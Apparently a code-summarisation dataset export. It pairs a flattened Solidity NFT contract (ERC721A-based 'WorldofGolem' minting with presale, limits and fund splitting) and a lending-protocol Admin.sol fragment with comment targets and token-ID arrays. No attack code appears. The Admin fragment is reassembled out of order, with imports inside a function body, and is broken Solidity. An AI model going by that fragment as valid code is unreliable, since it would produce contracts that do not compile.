(token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: ERC721A.sol // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.10; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 public immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: dask.sol pragma solidity ^0.8.10; contract WorldofGolem is ERC721A, Ownable { using Strings for uint256; // Constant variables // ------------------------------------------------------------------------ uint256 public constant MAX_PRESALE_SUPPLY = 500; // Total amount of WorldofGolem available during presale uint256 public constant MAX_SUPPLY = MAX_PRESALE_SUPPLY + 9500; // Total amount of WorldofGolem uint256 public constant MAX_PER_WALLET_PRESALE = 20; // Max amount of WorldofGolem per wallet during whitelist period uint256 public constant MAX_PER_TX = 20; // Max amount of WorldofGolem per transaction uint256 public constant MAX_PER_WALLET_PUBLIC = 20; // Max amount of WorldofGolem per wallet during public sale uint256 public PRICE = 0.065 ether; // Price of a WorldofGolem uint256 public PRESALE_PRICE = 0.045 ether; // Presale Price of a WorldofGolem // Team addresses - // ------------------------------------------------------------------------ address private constant _a1 = 0x2F6a40D83fa905A6e1b10D02eFba2b187F31d045; address private constant _a2 = 0x54697ba9bCe35deAb1dBcDb8E904Dd8ceA695C3D; address private constant _a3 = 0xf7f1ED914EdF6eAC82736b5d384De6EE19D6f429; address private constant _a4 = 0x415dFa37d8Df33a617676d44E32E8d95AA8F631D; // State variables // ------------------------------------------------------------------------ bool public isPresaleActive = false; bool public isPublicSaleActive = false; // Presale mappings // ------------------------------------------------------------------------ mapping(address => uint256) private _presaleClaimed; mapping(address => uint256) private _publicSaleClaimed; function countClaimedPresale(address addr) external view returns (uint256) { require(addr != address(0), "Null Address"); return _presaleClaimed[addr]; } function countClaimedPublicSale(address addr) external view returns (uint256) { require(addr != address(0), "Null Address"); return _publicSaleClaimed[addr]; } // URI variables // ------------------------------------------------------------------------ string private _contractURI; string private _baseTokenURI; // Merkle Root Hash // ------------------------------------------------------------------------ bytes32 private _merkleRoot; // Events // ------------------------------------------------------------------------ event BaseTokenURIChanged(string baseTokenURI); event ContractURIChanged(string contractURI); // Modifiers // ------------------------------------------------------------------------ modifier onlyPresale() { require(isPresaleActive, "Presale is not active"); _; } modifier onlyPublicSale() { require(isPublicSaleActive, "Public sale is not active"); _; } // Modifier to ensure that the call is coming from an externally owned account, not a contract modifier onlyEOA() { require(tx.origin == msg.sender, "Contract caller must be externally owned account"); _; } modifier onlyValidQuantity(uint256 quantity) { require(quantity > 0, "Quantity cannot be zero"); // require that the transaction quantity > 0 require(quantity <= MAX_PER_TX, "Quantity exceeds max quantity per transaction"); // require that the transaction quantity is less than the max per transaction _; } // Constructor // ------------------------------------------------------------------------ constructor() ERC721A("WorldofGolem", "WOG", 20) {} // Presale functions // ------------------------------------------------------------------------ // check if a merkle proof and the sender is eligible for presale function isEligibleForPresaleMerkle(bytes32[] calldata _merkleProof) external view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); // hash the address of the sender return MerkleProof.verify(_merkleProof, _merkleRoot, leaf); // verify that the sender's address is valid for the merkle proof } function togglePresaleStatus() external onlyOwner { isPresaleActive = !isPresaleActive; } function togglePublicSaleStatus() external onlyOwner { isPublicSaleActive = !isPublicSaleActive; } // Mint functions // ------------------------------------------------------------------------ // Presale Mint using merkle proof function presaleGolem(bytes32[] calldata _merkleProof, uint256 quantity) external payable onlyPresale onlyValidQuantity(quantity) { // require that the buyer is eligible for presale using the merkle proof bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, _merkleRoot, leaf), "Wallet is not eligible for presale"); require(totalSupply() < MAX_PRESALE_SUPPLY, "Golem presale sold out"); require(totalSupply() + quantity <= MAX_PRESALE_SUPPLY, "Quantity exceeds maximum presale supply"); require(_presaleClaimed[msg.sender] < MAX_PER_WALLET_PRESALE, "Wallet has already claimed presale limit"); require(_presaleClaimed[msg.sender] + quantity <= MAX_PER_WALLET_PRESALE, "Quantity exceeds max quantity per wallet during presale"); // require that the buyer has not claimed their presale limit require(PRESALE_PRICE * quantity == msg.value, "Invalid ETH amount provided"); _presaleClaimed[msg.sender] += quantity; _safeMint(msg.sender, quantity); // using ERC721A we can mint multiple tokens using _safeMint } // Public Sale mint function publicSaleGolem(uint256 quantity) external payable onlyPublicSale onlyValidQuantity(quantity) { require(totalSupply() < MAX_SUPPLY, "Golem sold out"); require(totalSupply() + quantity <= MAX_SUPPLY, "Quantity exceeds maximum supply"); require(_publicSaleClaimed[msg.sender] < MAX_PER_WALLET_PUBLIC, "Wallet has already claimed public sale limit"); require(_publicSaleClaimed[msg.sender] + quantity <= MAX_PER_WALLET_PUBLIC, "Quantity exceeds max quantity per wallet during public sale"); require(PRICE * quantity == msg.value, "Invalid ETH amount provided"); _publicSaleClaimed[msg.sender] += quantity; _safeMint(msg.sender, quantity); // using ERC721A we can mint multiple tokens using _safeMint } //Owner mint function giveawayGolem(address to, uint256 quantity) external onlyOwner { require(totalSupply() + quantity <= MAX_SUPPLY, "WOG: Minting would exceed max supply"); require(quantity > 0, "WOG: Must mint at least one token"); _publicSaleClaimed[to] += quantity; _safeMint(to, quantity); } // Contract URI Functions // ------------------------------------------------------------------------ // Set the contract URI - must set to a URL which can return a JSON of metadata for the contract function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; emit ContractURIChanged(URI); } // Return the contract URI function contractURI() public view returns (string memory) { return _contractURI; } // Base URI Functions // ------------------------------------------------------------------------ // set the base token URI function setBaseTokenURI(string calldata URI) external onlyOwner { _baseTokenURI = URI; emit BaseTokenURIChanged(URI); } // override the _baseURI() method in the ERC721 contract // the tokenURI() method below will call the tokenURI() method in the ERC721A contract, which will need the _baseURI set above function _baseURI() internal view override returns (string memory) { return _baseTokenURI; } function baseTokenURI() public view returns (string memory) { return _baseTokenURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { return super.tokenURI(tokenId); } // allow the owner of the contract to set the Merkle Root function setMerkleRoot(bytes32 rootHash) external onlyOwner { _merkleRoot = rootHash; } // Withdrawal functions -- NEED TO UPDATE WITH INFORMATION FOR WITHDRAWALS // ------------------------------------------------------------------------ function withdrawAll() external onlyOwner { uint _a1amount = address(this).balance * 45/100; uint _a2amount = address(this).balance * 45/100; uint _a3amount = address(this).balance * 5/100; uint _a4amount = address(this).balance * 5/100; require(payable(_a1).send(_a1amount), "Failed to send to a1"); require(payable(_a2).send(_a2amount), "Failed to send to a2"); require(payable(_a3).send(_a3amount), "Failed to send to a3"); require(payable(_a4).send(_a4amount), "Failed to send to a3"); } }
Max amount of WorldofGolem per transaction
uint256 public constant MAX_PER_TX = 20;
2,168,813
[ 1, 2747, 3844, 434, 21820, 792, 43, 790, 81, 1534, 2492, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 4552, 67, 3194, 67, 16556, 273, 4200, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x826CBcf9AD71984C50524f8Ab17452aBeD1Faa7F/sources/home/sameep/projects/solo/contracts/protocol/Admin.sol
============ Token Functions ============
{ function ownerWithdrawExcessTokens( uint256 marketId, address recipient ) public onlyOwner nonReentrant returns (uint256) import { Ownable } from "openzeppelin-solidity/contracts/ownership/Ownable.sol"; import { ReentrancyGuard } from "openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol"; import { State } from "./State.sol"; import { AdminImpl } from "./impl/AdminImpl.sol"; import { IInterestSetter } from "./interfaces/IInterestSetter.sol"; import { IPriceOracle } from "./interfaces/IPriceOracle.sol"; import { Decimal } from "./lib/Decimal.sol"; import { Interest } from "./lib/Interest.sol"; import { Monetary } from "./lib/Monetary.sol"; import { Token } from "./lib/Token.sol"; contract Admin is { return AdminImpl.ownerWithdrawExcessTokens( g_state, marketId, recipient ); } function ownerWithdrawUnsupportedTokens( address token, address recipient ) public onlyOwner nonReentrant returns (uint256) { return AdminImpl.ownerWithdrawUnsupportedTokens( g_state, token, recipient ); } function ownerAddMarket( address token, IPriceOracle priceOracle, IInterestSetter interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) public onlyOwner nonReentrant { AdminImpl.ownerAddMarket( g_state, token, priceOracle, interestSetter, marginPremium, spreadPremium ); } function ownerSetIsClosing( uint256 marketId, bool isClosing ) public onlyOwner nonReentrant { AdminImpl.ownerSetIsClosing( g_state, marketId, isClosing ); } function ownerSetPriceOracle( uint256 marketId, IPriceOracle priceOracle ) public onlyOwner nonReentrant { AdminImpl.ownerSetPriceOracle( g_state, marketId, priceOracle ); } function ownerSetInterestSetter( uint256 marketId, IInterestSetter interestSetter ) public onlyOwner nonReentrant { AdminImpl.ownerSetInterestSetter( g_state, marketId, interestSetter ); } function ownerSetMarginPremium( uint256 marketId, Decimal.D256 memory marginPremium ) public onlyOwner nonReentrant { AdminImpl.ownerSetMarginPremium( g_state, marketId, marginPremium ); } function ownerSetSpreadPremium( uint256 marketId, Decimal.D256 memory spreadPremium ) public onlyOwner nonReentrant { AdminImpl.ownerSetSpreadPremium( g_state, marketId, spreadPremium ); } function ownerSetMarginRatio( Decimal.D256 memory ratio ) public onlyOwner nonReentrant { AdminImpl.ownerSetMarginRatio( g_state, ratio ); } function ownerSetLiquidationSpread( Decimal.D256 memory spread ) public onlyOwner nonReentrant { AdminImpl.ownerSetLiquidationSpread( g_state, spread ); } function ownerSetEarningsRate( Decimal.D256 memory earningsRate ) public onlyOwner nonReentrant { AdminImpl.ownerSetEarningsRate( g_state, earningsRate ); } function ownerSetMinBorrowedValue( Monetary.Value memory minBorrowedValue ) public onlyOwner nonReentrant { AdminImpl.ownerSetMinBorrowedValue( g_state, minBorrowedValue ); } function ownerSetGlobalOperator( address operator, bool approved ) public onlyOwner nonReentrant { AdminImpl.ownerSetGlobalOperator( g_state, operator, approved ); } }
3,971,610
[ 1, 14468, 3155, 15486, 422, 1432, 631, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
